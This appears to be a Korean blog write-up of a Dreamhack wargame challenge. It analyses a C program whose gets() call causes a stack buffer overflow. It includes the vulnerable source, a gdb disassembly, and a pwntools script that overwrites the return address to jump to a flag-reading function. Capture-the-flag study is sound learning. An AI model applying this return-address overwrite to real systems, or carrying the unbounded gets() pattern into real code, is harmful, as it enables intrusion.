[Pwnable] basic_exploitation_001

2024. 4. 3. 20:17·Hacking/Write Up
728x90
반응형

문제 : https://dreamhack.io/wargame/challenges/3

 

basic_exploitation_001

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용

dreamhack.io

 

Environment

environment

  • NX 적용되어 있음 : 스택에 실행 권한이 없음 (shellcode 실행 불가능)

Code Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

Vulnerability Type : Stack buffer Overflow (BOF)

  • gets()함수 : 입력에 제한을 두지 않아 버퍼 오버플로우가 일어나기 쉬움.
  • read_flag()함수를 통해 /flag 값을 읽을 수 있음

현재 buf의 크기는 0x80인데, gets()가 buf에 넣을 값을 제한 없이 읽고 있다. 

따라서 buf에 내가 원하는 크기의 값을 집어넣을 수 있기 때문에 스택 버퍼 오버플로우가 발생할 가능성이 있다. 

 

해당 코드를 취약하다고 판단하는 이유는 다음과 같다. 

  1. 스택 영역에 있는 버퍼에 입력 제한이 없음
  2. 플래그를 읽을 수 있는 함수가 바이너리 안에 존재함
  3. 쉘 코드를 사용하지 않더라도 read_flag()함수를 통해 익스플로잇 할 수 있음 -> NX enable이더라도 상관 없음

따라서 해당 코드는 익스플로잇이 가능하다. 

Trigger

트리거 확인

buffer overflow 발생

 

Stack Frame

(gdb) disass main
Dump of assembler code for function main:
   0x080485cc <+0>:     push   %ebp
   0x080485cd <+1>:     mov    %esp,%ebp
   0x080485cf <+3>:     add    $0xffffff80,%esp
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    -0x80(%ebp),%eax
   0x080485da <+14>:    push   %eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:    add    $0x4,%esp
   0x080485e3 <+23>:    mov    $0x0,%eax
   0x080485e8 <+28>:    leave
   0x080485e9 <+29>:    ret
End of assembler dump.
  • read_flag의 주소는 0x080485b9로 고정됨

Exploit Scenario

132byte의 입력 + read_flag의 주소

 

Exploit

from pwn import *

p = remote("host3.dreamhack.games", 21630)
p.sendline(b"A" * 0x84 + p32(0x080485b9))

p.interactive()

 

Question & Learn

Shell code를 사용할 수 없는 이유

NX라는 보호기법이 설정되어 있기 때문이다. 

스택 영역에 실행 권한이 없기 때문에 

basic_exploit_000 문제처럼 stack의 주소를 retrun addr에 넣게 되면, 실행이 되지 않는다. 

따라서 이 경우에는 미리 바이너리에 구현되어 있는 주소를 이용하는 것이다. 

 

* NX를 bypass 할 수 있는 경우는 많다. 하지만 NX가 설정되어 있는 경우 스택 영역에 shellcode를 넣어 익스하는 것은 불가능하다는 것을 이해하자

728x90
반응형

'Hacking > Write Up' 카테고리의 다른 글

[Reversing] Reversing Basic Challenge #0  (3) 2024.07.28
[Pwnable] bof  (4) 2024.07.28
[Cryptography] Textbook-RSA  (2) 2024.02.13
[Cryptography] Textbook-DH  (1) 2024.02.13
[Pwnable] basic_exploitation_000  (1) 2024.02.09
'Hacking/Write Up' 카테고리의 다른 글
  • [Reversing] Reversing Basic Challenge #0
  • [Pwnable] bof
  • [Cryptography] Textbook-RSA
  • [Cryptography] Textbook-DH
min_zu
min_zu
  • min_zu
    민주제도
    min_zu
  • 전체
    오늘
    어제
    • ._. (176)
      • AI (2)
        • DeepLearning (2)
        • CS231n (0)
      • Web (2)
        • ReactJS (0)
      • CS (83)
        • OS (7)
        • Data Structure (23)
        • Computer Architecture (8)
        • Computer Network (20)
        • Algorithm (25)
      • Linux (3)
        • KaliLinux (0)
        • Docker (1)
      • Hacking (83)
        • Write Up (25)
        • Pwnable (13)
        • Reversing (2)
        • Cryptography (12)
        • Web Hacking (4)
        • Window (6)
        • Network (7)
        • Web3 (13)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Sort
    Web
    DeepLearning
    WinAFL
    Search
    DataStructure
    Linux
    OS
    Tree
    Mac
    ComputerArchitecture
    Graph
    AI
    UTM
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
min_zu
[Pwnable] basic_exploitation_001
상단으로

티스토리툴바